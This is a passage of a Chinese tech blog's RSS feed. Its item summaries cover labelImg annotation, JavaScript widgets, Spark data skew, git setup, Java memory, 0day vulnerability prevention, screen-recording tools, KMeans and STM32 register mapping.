labelImg是一个图形化的图像注释工具，支持VOC和YOLO格式。以下是使用labelImg将图片标注为VOC格式的步骤：&#xA;（1）下载并安装labelImg。&#xA;（2）打开labelImg并选择“Open Dir”来选择你的图片目录。&#xA;（3）为你的目标对象设置标签名称。&#xA;（4）在图片上绘制矩形框，选择对应的标签。&#xA;（5）保存标注信息，这将在图片目录下生成一个与图片同名的XML文件。&#xA;（6）重复此过程，直到所有的图片都标注完毕。&#xA;转换为YOLO格式 由于YOLO使用的是txt格式的标注，我们需要将VOC格式转换为YOLO格式。可以使用各种转换工具或脚本来实现。&#xA;下面是一个简单的方法是使用Python脚本，该脚本读取XML文件，然后将其转换为YOLO所需的txt格式。&#xA;#!/usr/bin/env python3 # -*- coding: utf-8 -*- import xml.etree.ElementTree as ET import os classes = [] # 初始化为空列表 CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) def convert(size, box): dw = 1. / size[0] dh = 1.</description>
    </item>
    <item>
      <title>JS功能实现</title>
      <link>https://bchobby.github.io/posts/29804619a6c2e6f86170887fc2e25c28/</link>
      <pubDate>Thu, 02 Nov 2023 10:18:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29804619a6c2e6f86170887fc2e25c28/</guid>
      <description>目录 轮播图移动端轮播图按下回车发表评论tab栏切换全选按钮 轮播图 &amp;lt;style&amp;gt; * { box-sizing: border-box; } .slider { width: 560px; height: 400px; overflow: hidden; } .slider-wrapper { width: 100%; height: 320px; } .slider-wrapper img { width: 100%; height: 100%; display: block; } .slider-footer { height: 80px; background-color: rgb(100, 67, 68); padding: 12px 12px 0 12px; position: relative; } .slider-footer .toggle { position: absolute; right: 0; top: 12px; display: flex; } .slider-footer .toggle button { margin-right: 12px; width: 28px; height: 28px; appearance: none; border: none; background: rgba(255, 255, 255, 0.</description>
    </item>
    <item>
      <title>pip install总是出现Could not fetch URL https://… 怎么解决</title>
      <link>https://bchobby.github.io/posts/dcf12c7e58b0342c4751e02ea8300289/</link>
      <pubDate>Thu, 02 Nov 2023 10:17:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcf12c7e58b0342c4751e02ea8300289/</guid>
      <description>详见B站视频【1.安装numpy、scipy、matplotlib-哔哩哔哩】 https://b23.tv/WRDdM91&#xA;3:25~5:20</description>
    </item>
    <item>
      <title>【数据结构】树形结构所有路径复原为链表</title>
      <link>https://bchobby.github.io/posts/30274b521996af7893ab3ea2a06d0d4b/</link>
      <pubDate>Wed, 01 Nov 2023 23:21:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30274b521996af7893ab3ea2a06d0d4b/</guid>
      <description>目录&#xA;1. 树形结构可视化&#xA;2. 树形结构转为链表&#xA;此目标是要还原树形结构的所有路径。树形结构是一种常见的数据结构，它表示元素之间层次关系。在树形结构中，每个节点可能拥有一个或多个子节点，形成了一个分层的结构。为了还原树形结构的路径，我们需要找到从根节点到每个叶节点的所有可能路径。这可以通过深度优先搜索或广度优先搜索来实现。通过遍历树形结构，我们可以收集所有路径，从而完整地还原出整个树形结构。这些路径可以用于各种应用，例如路径规划、图形可视化等。因此，还原树形结构的所有路径是一项重要任务。&#xA;1. 树形结构可视化 import networkx as nx # pip install networkx import matplotlib.pyplot as plt # 构造树结构 tree = nx.Graph() # 单条边添加 # tree.add_edge(&#39;1&#39;, &#39;2&#39;) # tree.add_edge(&#39;1&#39;, &#39;3&#39;) # tree.add_edge(&#39;2&#39;, &#39;4&#39;) # tree.add_edge(&#39;3&#39;, &#39;5&#39;) # tree.add_edge(&#39;5&#39;, &#39;6&#39;) # tree.add_edge(&#39;5&#39;, &#39;7&#39;) # 批量边添加 lst = [(1, 2), (2, 3), (3, 4), (3, 5), (3, 6), (4, 7), (5, 8), (6, 9), (7, 10), (8, 11), (9, 12), (10, 13), (11, 13), (12, 13), (13, 14)] tree.</description>
    </item>
    <item>
      <title>spark 数据倾斜优化总结</title>
      <link>https://bchobby.github.io/posts/df161ac68b5af9b018bb3456da89feb5/</link>
      <pubDate>Wed, 01 Nov 2023 22:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df161ac68b5af9b018bb3456da89feb5/</guid>
      <description>一、数据倾斜产生原因 数据倾斜就是部分task承担了过多的计算任务，导致整个stage都被卡。&#xA;可能产生数据倾斜的场景如下&#xA;操作场景join其中一个表比较小，但key值少join大表与大表，但key值中存在过多的特殊值，如0或nulljoinon条件包含key值过滤逻辑，导致部分数据被保留，部分被过滤，最终节点分布不均join多对多关系表join导致数据膨胀group by某个组合数量特别多count distinct需要集中最后一个reduce节点处理，特殊值多就会慢使用脚本或udf会存在强制数据分布在少量节点的可能distriute by存在值不均匀的可能读取上游文件数过少，单个文件过大 二、数据倾斜优化 2.1 调参优化 参数作用备注hive.map.aggr=truemap端部分聚合仅适用于hive引擎，不适用于spark。spark本身就支持map端的局部聚合hive.groupby.skewindata=true参数设置为true时，生成的查询计划会有2个MR job。第一个MR中，map的输出结果会随机分配到reduce中，每个reduce做部分聚合操作，并输出结果，这样相同的key会被分发到不同的reduce中，起到了负载均衡的目的，第二个MR再根据第一个MR预处理的结果，完成聚合操作仅适用于hive引擎，spark不支持此参数 2.2 代码优化 2.2.1 join类操作 如果是join操作，那么采用join key分布最均匀的表作为驱动表where类的操作在join前进行 2.2.1.1 小表join大表 使用 /*+mapjoin(a)*/ 让小的维度表先进内存，在map端完成reduce&#xA;使用此操作需要对小的维度表配置DQC数据量监控，以避免进入内存的维表数据过大&#xA;2.2.1.2 中表join大表 在维表大小中等，完全进入内存可能报错；但日志与维表关联部分出现某种行为的维值较少时，可以采用两次 mapjoin 的方式优化倾斜问题。例，有交易日志log，和维表dim，它们2次join示例如下&#xA;select /*+mapjoin(b)*/ a.*, b.* from log a left join ( select /*+mapjoin(d)*/ c.* from dim AS c join ( select dim_id from log group by dim_id ) AS d on c.dim_id = d.dim_id ) AS b on a.dim_id = b.dim_id 2.</description>
    </item>
    <item>
      <title>解决 mac提示 项目后台已添加</title>
      <link>https://bchobby.github.io/posts/16598c3a625e1f2bcbce3dfb67538e47/</link>
      <pubDate>Wed, 01 Nov 2023 19:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16598c3a625e1f2bcbce3dfb67538e47/</guid>
      <description>开启 XXX proxy 软件后，mac 总是会提示 项目后台已添加，贼烦人，参考https://gitee.com/TonyLiu2ca/mac-scripts/ 修改配置文件&#xA;https://gitee.com/TonyLiu2ca/mac-scripts/ 采用的是横幅通知 以及通知中心通知&#xA;修改后的 仅在 通知中心通知&#xA;https://download.csdn.net/download/qq_33547169/88492858 仅在通知中心通知</description>
    </item>
    <item>
      <title>什么是0day漏洞？如何预防0day攻击？</title>
      <link>https://bchobby.github.io/posts/e0cf3ccb4a7d6f397684ae335705fea4/</link>
      <pubDate>Wed, 01 Nov 2023 18:25:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0cf3ccb4a7d6f397684ae335705fea4/</guid>
      <description>什么是0day漏洞？ 0day漏洞，是指已经被发现，但是还未被公开，同时官方还没有相关补丁的漏洞；通俗的讲，就是除了黑客，没人知道他的存在，其往往具有很大的突发性、破坏性、致命性。&#xA;0day漏洞之所以称为0day，正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高，往往可以达到目的并全身而退，而防守方却一无所知，只有在漏洞公布之后，才后知后觉，却为时已晚。&#xA;“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照！&#xA;为了方便大家理解，国科云为大家梳理当前安全防护模式下，一个漏洞从发现到解决的三个时间节点：&#xA;T0：此时漏洞即0day漏洞，是已经被发现，还未被公开，官方还没有相关补丁的漏洞，攻击者此时攻击如入无人之境，攻击效果最佳，持续时间几个月不等；&#xA;T1：此时漏洞即1day漏洞，漏洞信息已经被披露，某些勤快的系统管理员已经关注并使用了临时修补手段，但大部分受影响系统因官方补丁的缺失导致其脆弱性依然广泛存在，攻击者此时攻击有效性仍较高。&#xA;T2：此时漏洞即Nday漏洞,由于官方补丁已出，此时攻击者利用该漏洞进行攻击，有效性已降低。&#xA;从T0到T2，这个过程 ，往往需要几天，几个月不等！&#xA;在攻击中，黑客们往往目的明确，有的放矢，采用“社工+常规攻击+0day漏洞”或多种0day漏洞的组合式攻击，偷偷的来，偷偷的伤害，看不见的才是最可怕的，0day攻击正是如此。&#xA;被动防御，面对0day攻击，除了躺平，别无他法。而更加不幸的是，0day攻击时代，已经到来了。&#xA;国家信息安全漏洞平台显示，仅2020年上半年，0day漏洞的收录数量就达到了4582个，占比全部收录漏洞的41.4%，同步大幅增长了80.7%。&#xA;0day成为了黑客和安全防护博弈的重中之重。一方面黑市中通用的、可造成大范围影响的0day漏洞售价几万美元至几百万美元不等，令诸多黑客们对0day漏洞趋之若鹜；而另一方面，企业安全人员谈0day色变，面对0day漏洞攻击往往是束手无策，有的企业甚至采用了关机、拔网线、停业务等极端方式。&#xA;防而不护，就像纸老虎，敷衍自己罢了！&#xA;无延迟的防0day，成为了当前与未来安全防护的核心所在。&#xA;如何预防0day攻击？ 预防：良好的预防安全实践是必不可少的。这些实践包括谨慎地安装和遵守适应业务与应用需要的防火墙政策，随时升级防病毒软件，阻止潜在有害的文件附件，随时修补所有系统抵御已知漏洞。漏洞扫描是评估预防规程有效性的好办法。&#xA;实时保护：部署提供全面保护的入侵防护系统(IPS)。在考虑IPS时，寻找以下功能：网络级保护、应用完整性检查、应用协议“征求意见”(RFC)确认、内容确认和取证能力。&#xA;计划的事件响应：即使在采用以上措施后，企业仍可能受到“零日漏洞”影响。周密计划的事件响应措施以及包括关键任务活动优先次序在内的定义的规则和规程，对于将企业损失减少到最小程度至关重要。&#xA;防止传播：这可以通过将连接唯一限制在满足企业需要所必须的机器上。这样做可以在发生初次感染后，减少利用漏洞的攻击所传播的范围。&#xA;近些年，0day攻击正在变得越来越频繁，虽然目前不能完全防范0day攻击，但是企业通过建设完善的检测防护体系，同时提升人员防范意识，可以减少网络系统被0day攻击的几率，降低0day攻击给自身企业造成的损失。&#xA;相关推荐：&#xA;*主流域名解析库曝重大DNS投毒漏洞，如何有效应对DNS投毒？&#xA;什么是WAF？WAF有哪些功能和优势？&#xA;2022上半年网络攻击事件播报&#xA;Apache Log4j2 远程代码执行漏洞被公开&#xA;新发现DNS安全漏洞影响巨大，政企如何做好DNS安全防护？*</description>
    </item>
    <item>
      <title>配置git并把本地项目连接github</title>
      <link>https://bchobby.github.io/posts/9403bb4030f89ee4bbb3559b6fed971a/</link>
      <pubDate>Wed, 01 Nov 2023 18:21:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9403bb4030f89ee4bbb3559b6fed971a/</guid>
      <description>一.配置git&#xA;1.下载git（Git），但推荐使用国内镜像下载（CNPM Binaries Mirror）&#xA;选好64和版本号下载，全部点下一步&#xA;下载完成后打开终端，输入&#xA;git --version&#xA;出现版本号则说明安装成功 然后继续在终端内操作&#xA;2.配置用户名：&#xA;git config --global user.name “你的用户名” 3.配置邮箱：&#xA;git config --global user.email “你的邮箱”&#xA;4.配置完成后检查配置：&#xA;git config -l&#xA;p.s. 如果有报错，查看一下环境变量有没有加上git下载路径&#xA;操作完要把终端，软件什么的都关掉再重启才能生效哦&#xA;二.与远程仓库连接&#xA;1.配置公钥 ssh-keygen -t rsa -C “你的邮箱”&#xA;出现enter的地方直接回车就好&#xA;出现上面的图就成功了，但是ssh是根目录中的一个隐藏文件&#xA;把这里面的内容保存一下&#xA;打开我们github的设置&#xA;在本地新建一个空文件夹，在这个文件夹内部右键打开此目录下的终端，输入&#xA;git init&#xA;然后输入&#xA;git clone “下面的ssh地址”&#xA;其他git相关命令 添加所有改动的文件到暂存区&#xA;git add .&#xA;给这次修改加备注，可以是中文，写你都做了哪些修改&#xA;git commit -m ‘modify’&#xA;上传自己的改动之前，先拉取当前最新的改动，看有没有和别人代码冲突&#xA;git pull&#xA;没问题就 git push&#xA;注意这里未来可能是git pull origin main（最后加的是远端分支名 如果你本地和远端是同一个分支就可以简写成上面的形式）&#xA;创建新分支</description>
    </item>
    <item>
      <title>Java的非堆内存与元空间</title>
      <link>https://bchobby.github.io/posts/07575668618907f4df7bc8c629f671c7/</link>
      <pubDate>Wed, 01 Nov 2023 15:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07575668618907f4df7bc8c629f671c7/</guid>
      <description>一、堆与非堆 按照官方的说法：“Java 虚拟机具有一个堆(Heap)，堆是运行时数据区域，所有类实例和数组的内存均从此处分配。堆是在 Java 虚拟机启动时创建的。”“在JVM中堆之外的内存称为非堆内存(Non-heap memory)”。&#xA;二、堆与非堆的监控 我们怎么查看Java进程占用的堆内存有多大，非堆内存有多大呢？&#xA;public class Test { public static void main(String[] args) { //申请100M的空间 ByteBuffer buf = ByteBuffer.allocate(1024 * 1024* 100); //申请100M的空间 ByteBuffer buf2 = ByteBuffer.allocateDirect(1024 * 1024* 100); // 获取元空间的初始容量和最大容量等参数 MemoryUsage nonHeapMemoryUsage = ManagementFactory.getMemoryMXBean().getNonHeapMemoryUsage(); MemoryUsage heapMemoryUsage = ManagementFactory.getMemoryMXBean().getHeapMemoryUsage(); System.out.println(&#34;NonHeapMemoryUsage Used: &#34; + (nonHeapMemoryUsage.getUsed() / 1024 / 1024) + &#34; MB&#34;); System.out.println(&#34;HeapMemoryUsage Used: &#34; + (heapMemoryUsage.getUsed() / 1024 / 1024) + &#34; MB&#34;); } } 对应的输出为：</description>
    </item>
    <item>
      <title>fragment的onCreateView中设置RecyclerView adapter概率不生效</title>
      <link>https://bchobby.github.io/posts/d43782e37b2e43f08c3e5465b430791a/</link>
      <pubDate>Wed, 01 Nov 2023 14:39:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d43782e37b2e43f08c3e5465b430791a/</guid>
      <description>一般的，我们的RecyclerView是用来展示网络(后台)数据。遇到的情况，都是这样的：&#xA;先初始化好RecyclerView，然后给他绑定好LayoutManager，然后进行网络请求，最后再到UI线程去设置Adapter。&#xA;这么一套下来，很少遇到setAdapter导致的不显示问题。&#xA;对于这种常规的RecyclerView不显示的原因主要有3个：&#xA;忘记设置LayoutManager，比如： recyclerview.setLayoutManager(LinearLayoutManager(this)); 有些场景变化数据需要调用notifyDataSetChanged(), 但是如果你是调用setAdapter重新设置，其实是不需要Notify的。而且，如果DataList的地址没有变化也可能是不生效的。现在一般都使用增量更新。&#xA;参考如下： val insertIndex = datas.count() //现有数据长度 datas.addAll(insertIndex, addedDatas) //增量 if (notify) { notifyItemRangeInserted(insertIndex, data.count()) //通知增量更新 } createView方法错误&#xA;不要使用//错误 View view=View.inflate(parent.getContext(),R.layout.cell_normal,null); view1 = LayoutInflater.from(parent.getContext()).inflate(R.layout.cell_card,parent,false); 而最近，我遇到一个问题，在Fragment的onCreteView里面去设置静态数据，绑定Adapter不生效。&#xA;这个原因就与常规的原因不同了。&#xA;这里涉及到起手渲染的问题。&#xA;public void setAdapter(@Nullable Adapter adapter) { ... requestLayout(); } @Override public void requestLayout() { if (mInterceptRequestLayoutDepth == 0 &amp;amp;&amp;amp; !mLayoutSuppressed) { super.requestLayout(); } else { mLayoutWasDefered = true; } } mInterceptRequestLayoutDepth，通过startInterceptRequestLayout()和stopInterceptRequestLayout()来成对出现控制++和–。&#xA;即，dispatchLayoutStep1，dispatchLayoutStep2，dispatchLayoutStep3三大步骤。&#xA;来源是归属于dispatchLayout()中的三个步骤。&#xA;进而分析来看：跟dispatchLayout()的完成执行，mFirstLayoutComplete置为true有很大关系。&#xA;private void dispatchLayoutStep1/2() { .</description>
    </item>
    <item>
      <title>小白学习必看，NAS网络存储详细学习</title>
      <link>https://bchobby.github.io/posts/057af3c97cbd127a4bc6a0a9704fc9b9/</link>
      <pubDate>Wed, 01 Nov 2023 14:24:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/057af3c97cbd127a4bc6a0a9704fc9b9/</guid>
      <description>NAS（Network Attached Storage：网络附属存储）按字面简单说就是连接在网络上，具备资料存储功能的装置，因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心，将存储设备与服务器彻底分离，集中管理数据，从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储，而效率却远远高于后者。&#xA;一，NAS有哪些类型？ NAS分为两种：&#xA;Storage NAS：专注储存型；&#xA;Platform NAS：集成平台型，也就是说自带操作系统。常见只有群晖和威联通两个品牌，实际上销售nas的品牌非常多，一些品牌价格还很便宜，完全不输给那些已经涨价的矿渣。&#xA;二，常用NAS厂家 群晖（Synology）NAS存储&#xA;群晖(Synology)是来自台湾的网络存储服务器 (NAS) 品牌,成立于2000年,其产品线涵盖大型企业,中小型企业,家庭到公司工作组,家庭到小型办公室的NAS产品。&#xA;绿联（UGREEN）NAS存储&#xA;深圳市绿联科技股份有限公司成立于2012年,是一家集研发、设计、生产、销售于一体的国家级高新技术企业,是全球科技消费电子知名品牌企业。&#xA;西部数据（WD）NAS存储&#xA;西部数据公司（Western Digital Corp，WDC），是一家全球知名的硬盘厂商，成立于1970年，总部位于美国加州，在世界各地设有分支机构，为全球用户提供存储产品。&#xA;桦赋（色卡司Thecus）&#xA;鸿海集团其下子公司桦赋科技的NAS品牌，和群晖，威联通齐名的台湾省三大NAS厂商之一。其系统为基于linux的ThecusOS，原生支持Amazon S3云端备份功能，能通过Thecus Connect 及 http://Orbweb.me进行外网穿透。&#xA;软件生态上不比群晖和威联通弱，只是大陆没有电商自营渠道，穿透服务在大陆体验不佳，折腾的人比较少。&#xA;三，通常配置 安装NAS设置后，接通电源，连接网络，如果又专用软件会自动在局域网中搜到NAS设备&#xA;然后根据提示界面进行配置即可，设置账号，设置网络&#xA;设置好只好，通过web界面进行登录即可&#xA;最后根据需求进行设置即可</description>
    </item>
    <item>
      <title>【无标题】使用EasyExcel实现动态表头导出、多sheet页导出功能</title>
      <link>https://bchobby.github.io/posts/17fdcc7837b7ab174f67b82d3db767c8/</link>
      <pubDate>Wed, 01 Nov 2023 14:15:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17fdcc7837b7ab174f67b82d3db767c8/</guid>
      <description>随着Easyexcel的应用，逐渐有了些复杂功能需要实现，如：动态表头、多个sheet页。本文记录下实现过程 首先，当然是引入依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 接下来是实现过程： （过程为实际的应用过程，实现了具体业务，过于繁琐，可直接去看总结）&#xA;一、动态表头 1.要导出的实体类添加关键注解 @ExcelProperty&#xA;public class IndmanageEntity implements Serializable { /** * 主键 */ @ExcelIgnore private Long id; /** * 指标编码 */ @ExcelProperty(&#34;指标编码&#34;) @ColumnWidth(20) private String typecode; /** * 指标名称 */ @ExcelProperty(&#34;指标名称&#34;) @ColumnWidth(20) private String typename; /** * 归属部门 */ @ExcelProperty(&#34;归属部门&#34;) @ColumnWidth(20) private String belongpart; /** * 归属业务线 */ @ExcelProperty(&#34;归属业务线&#34;) @ColumnWidth(20) private String belongbusline; /** * 指标来源 */ @ExcelProperty(&#34;指标来源&#34;) @ColumnWidth(20) private String indsource; /** * 指标来源报告 */ @ExcelProperty(&#34;</description>
    </item>
    <item>
      <title>解决 eslint 的 Parsing error: Unexpected token 错误</title>
      <link>https://bchobby.github.io/posts/07ce41c92f014800ecb3364dc9c9f499/</link>
      <pubDate>Wed, 01 Nov 2023 10:14:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07ce41c92f014800ecb3364dc9c9f499/</guid>
      <description>解决 eslint 的 Parsing error: Unexpected token 错误&#xA;问题描述：import动态导入，将js文件单独打包时，webpack打包错误&#xA;ERROR in ./src/js/main.js&#xA;Module Error (from ./node_modules/_eslint-loader@4.0.2@eslint-loader/dist/cjs.js&#xA;):&#xA;F:\workspace\javascript workspace\webpack\prj18_3\src\js\main.js&#xA;8:7 error Parsing error: Unexpected token (&#xA;✖ 1 problem (1 error, 0 warnings)&#xA;问题分析：禁用eslint，webpack打包正常，Parsing error 是eslint解析错误。&#xA;解决方案&#xA;1.eslint 配置 babel-eslint 插件&#xA;cnpm install babel-eslint --save&#xA;2.在package.json中配置 eslintConfig 属性&#xA;“eslintConfig”: {&#xA;“parser”: “babel-eslint”&#xA;}&#xA;————————————————&#xA;原文链接：https://blog.csdn.net/xzlAwin/article/details/109362849</description>
    </item>
    <item>
      <title>录屏工具大揭秘！让你轻松成为录像达人</title>
      <link>https://bchobby.github.io/posts/5007e00204cbee6853b4340542a0cd15/</link>
      <pubDate>Wed, 01 Nov 2023 10:05:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5007e00204cbee6853b4340542a0cd15/</guid>
      <description>在日常生活中，我们经常需要使用录屏工具来记录电脑屏幕上的操作过程，比如制作教程视频、分享游戏经验、展示软件功能等，一个优秀的录屏工具能帮上大忙。现在市面上有许多录屏工具可供选择，本文将详细介绍三种工具的使用方法和优势，帮助读者选择适合自己的工具。&#xA;录屏工具1：QQ录屏 QQ录屏是QQ聊天工具自带的一个录屏功能，使用方便，适合日常休闲使用。使用步骤如下：&#xA;步骤1：打开QQ聊天工具，登录上您的账号，按下“Ctrl+Alt+S”键，即可打开QQ内置录屏。&#xA;步骤2：在QQ内置录屏窗口中，可以选择全屏录制或区域录制。选择合适的录制区域后，点击“开始录制”按钮。&#xA;步骤3：开始录制后，可以操作电脑屏幕上的任何内容，QQ录屏会自动记录屏幕操作过程。在录制过程中，如果需要停止录制，可以点击“结束”按钮，视频会弹出预览，您可以手动保存到指定文件夹。&#xA;备注：QQ录屏虽然方便，但功能相对简单，适用于对录屏要求不高的日常场景。 录屏工具2：步骤记录器 步骤记录器是Windows系统内置的屏幕录制工具，可以轻松地记录电脑屏幕上的操作过程。以下是使用步骤记录器的具体步骤：&#xA;步骤1：按下“Win+R”键，输入“psr”，并按下回车键，即可打开步骤记录器。&#xA;步骤2：点击“开始记录”按钮，即可开始录制屏幕操作过程。&#xA;步骤3：停止录制后，步骤记录器会自动保存录制的视频文件，可以在指定文件夹中找到它。&#xA;备注：步骤记录器虽然功能简单，但胜在轻量，适合录制一些简短的教学视频或操作演示。 录屏工具3：专业录屏软件 如果您录制视频较频繁，且还想要录制电脑上不同的内容，比如窗口、桌面、应用程序等，可以考虑使用专业录屏工具——数据 蛙录屏软件。它可以录制超清流畅、不限时长的视频，满足您的多样化需求。&#xA;它支持Windows系统与Mac系统，拥有多种视频格式（WMV、MP4、GIF等），最高可以录制无损质量的视频文件。以下是使用数据 蛙录屏软件的具体步骤：&#xA;操作环境： 演示机型：联想GeekPro2020 系统版本：Windows 10 软件版本：数据 蛙录屏软件1.1.8 步骤1：前往数据 蛙录屏软件官网，根据提示下载并安装软件，打开它进入主页，在众多录屏选项中选择“视频录制”模式。&#xA;步骤2：在这里可以对录制的视频范围进行设置，您可以选择全屏录制或自定义录制，麦克风是电脑外部声音，扬声器是电脑内部声音，根据您的需求进行开启。&#xA;步骤3：录制过程中，可以使用控制栏上的相机图标进行截图，录制结束后，保存录制的视频文件或在软件上进行更多操作。&#xA;步骤4：在历史记录页面，选中两个视频文件，我们可以对它们进行合并，然后导出一个全新的视频。&#xA;录屏工具结论 总之，录屏工具已经成为人们生活中不可或缺的一部分，无论是娱乐还是工作，一个合适的录屏工具都能给我们带来诸多便利。希望通过本文，你能对QQ录屏、步骤记录器和数据 蛙录屏软件有更深入的了解。同时，也要注意保护个人隐私和信息安全，避免在录制过程中泄露敏感信息。&#xA;文章推荐：&#xA;mac录屏快捷键指南，轻松录制屏幕内容！https://blog.csdn.net/shujuwa__net/article/details/134133032?spm=1001.2014.3001.5502&#xA;电脑录像功能在哪？一文帮你轻松破解https://blog.csdn.net/shujuwa__net/article/details/134133751?spm=1001.2014.3001.5502&#xA;如何清除电脑缓存？简单几步，让你的电脑运行如飞！https://blog.csdn.net/shujuwa__net/article/details/134134442?spm=1001.2014.3001.5502</description>
    </item>
    <item>
      <title>ElasticSearch| 非集群两个ElasticSearch数据同步解决方案(Logstash)</title>
      <link>https://bchobby.github.io/posts/b33549f82136829c5ed69e11297834a3/</link>
      <pubDate>Wed, 01 Nov 2023 10:01:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b33549f82136829c5ed69e11297834a3/</guid>
      <description>需求: 传统单体项目只有两台服务,项目与中间件都在同一台服务器上部署. 项目、数据库、ES、Redis等都在一个服务器上,使用keepalived生成虚拟IP供前段访问服务, 其他不讲 这个时候就需要保证两个服务器之间ES数据同步了,ES没有主备只有集群 最需要少三台服务器非偶数服务器, 这个时候就需要其他方案解决&#xA;解决方案&#xA;使用logstash 进行数据同步</description>
    </item>
    <item>
      <title>TypeScript 中for in遍历，元素隐式具有 “any“ 类型,因为类型为 “string“ 的表达式不能用于索引类型</title>
      <link>https://bchobby.github.io/posts/3915bb6fd90706394e9c6d254a8d96e8/</link>
      <pubDate>Wed, 01 Nov 2023 09:25:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3915bb6fd90706394e9c6d254a8d96e8/</guid>
      <description> 第一种方案、使用[key: string]：string 形式为键名声明类型&#xA;声明类型： interface FormInfoData { [materialCode: string]: string materialName: string materialUnit: string materialItem: string materialOwnership: string materialclassCode: string materialclassName: string materialSpecification: string } 声明变量： const formInfoData = reactive&amp;lt;FormInfoData&amp;gt;({ materialCode: &#39;&#39;, materialName: &#39;&#39;, materialUnit: &#39;&#39;, materialItem: &#39;&#39;, materialOwnership: &#39;&#39;, materialclassCode: &#39;&#39;, materialclassName: &#39;&#39;, materialSpecification: &#39;&#39; }) 使用遍历变量赋值： Object.keys(formInfoData).forEach((prop: string) =&amp;gt; { formInfoData[prop] = prop in row ? row[prop] : &#39;&#39; }) 第二种方案、直接声明配置项&#xA;在tsconfig.json中compilerOptions里面新增忽略的代码，如下所示，添加后则不会报错&#xA;&#34;suppressImplicitAnyIndexErrors&#34;: true </description>
    </item>
    <item>
      <title>Kmeans</title>
      <link>https://bchobby.github.io/posts/f72e18b0d945a6495f235ce819cb1385/</link>
      <pubDate>Tue, 31 Oct 2023 23:01:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f72e18b0d945a6495f235ce819cb1385/</guid>
      <description>```python #coding=utf-8 import numpy as np class KMeans(object): &#34;&#34;&#34; - 参数 n_clusters: 聚类个数，即k initCent: 质心初始化方式，可选&#34;random&#34;或指定一个具体的array,默认random，即随机初始化 max_iter: 最大迭代次数 &#34;&#34;&#34; def __init__(self,n_clusters=5,initCent=&#39;random&#39;,max_iter=300): if hasattr(initCent, &#39;__array__&#39;): n_clusters = initCent.shape[0] self.centroids = np.asarray(initCent, dtype=np.float) else: self.centroids = None self.n_clusters = n_clusters self.max_iter = max_iter self.initCent = initCent self.clusterAssment = None self.labels = None self.sse = None #计算两点的欧式距离 def _distEclud(self, vecA, vecB): return np.linalg.norm(vecA - vecB) #随机选取k个质心,必须在数据集的边界内 def _randCent(self, X, k): n = X.shape[1] #特征维数 centroids = np.</description>
    </item>
    <item>
      <title>STM32F103系列芯片的地址映射和寄存器映射原理，以及GPIO端口的初始化设置</title>
      <link>https://bchobby.github.io/posts/639c3585a9397b39e2a1b23b6c487e0e/</link>
      <pubDate>Tue, 31 Oct 2023 21:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/639c3585a9397b39e2a1b23b6c487e0e/</guid>
      <description>文章目录 一、STM32F103系列芯片的地址映射和寄存器映射原理1、什么是寄存器（1）基本概念（2）举例说明（3）地址映射 2、地址映射和寄存器映射原理（1）存储器映射（2）寄存器映射 二、GPIO初始化设置步骤（时钟配置、输入输出模式设置、最大速率设置）（1）基本介绍（2）工作模式（3）初始化1. 首先配置时钟使能2. 配置为通用输出3. 设置输出值 三、解决两个问题四、解释嵌入式中常见的register和volatile 关键字1、register关键字（1）介绍（2）应用（3）示例代码 2、volatile关键字（1）介绍（2）应用（3）示例代码 总结参考文献 一、STM32F103系列芯片的地址映射和寄存器映射原理 1、什么是寄存器 （1）基本概念 现代的计算机主要包括三级存储，寄存器、内存储器和外存储器，存储数据的速率也依次递减。&#xA;寄存器是中央处理器内的组成部分。寄存器是有限存贮容量的高速存贮部件，它们可用来暂存指令、数据和地址。&#xA;存放数据的寄存器：如果你需要读取一个数据，直接到这个寄存器所在的地方来问问他，数据是多少就行了。问寄存器这个动作，叫做访问寄存器。不同的数据会存放在不同的寄存器，例如：引脚PA2与PB8的高低电平数据（1或0）肯定放在不同的寄存器里，那么怎么区分不同的寄存器呢？通过地址，不同的寄存器有不同的地址，就像老张行李寄存处在101号店铺，老王行李寄存处在258号店铺。&#xA;指令、地址寄存器与数据寄存器类似，里边存放的都是0和1，只是特别的规定下，数据寄存器里面存放的0和1表示数据，指令寄存器里存放的表示指令。&#xA;（2）举例说明 比如，我们找到 GPIOB 端口的输出数据寄存器 ODR 的地址是 0x4001 0C0C（至于这个地址如何找到可以先跳过，后面我们会有详细的讲解），ODR 寄存器是 32bit，低 16bit有效，对应着 16 个外部 IO，写 0/1 对应的的 IO 则输出低/高电平。现在我们通过 C 语言指&#xA;针的操作方式，让 GPIOB 的 16 个 IO 都输出高电平，具体见代码&#xA;通过绝对地址访问内存单元&#xA;// GPIOB 端口全部输出 高电平 *(unsigned int*)(0x4001 0C0C) = 0xFFFF; 0x4001 0C0C在我们看来是 GPIOB端口 ODR的地址，但是在编译器看来，这只是一个普通的变量，是一个立即数，要想让编译器也认为是指针，我们得进行强制类型转换，把它转换成指针，即(unsigned int *)0x4001 0C0C，然后再对这个指针进行 * 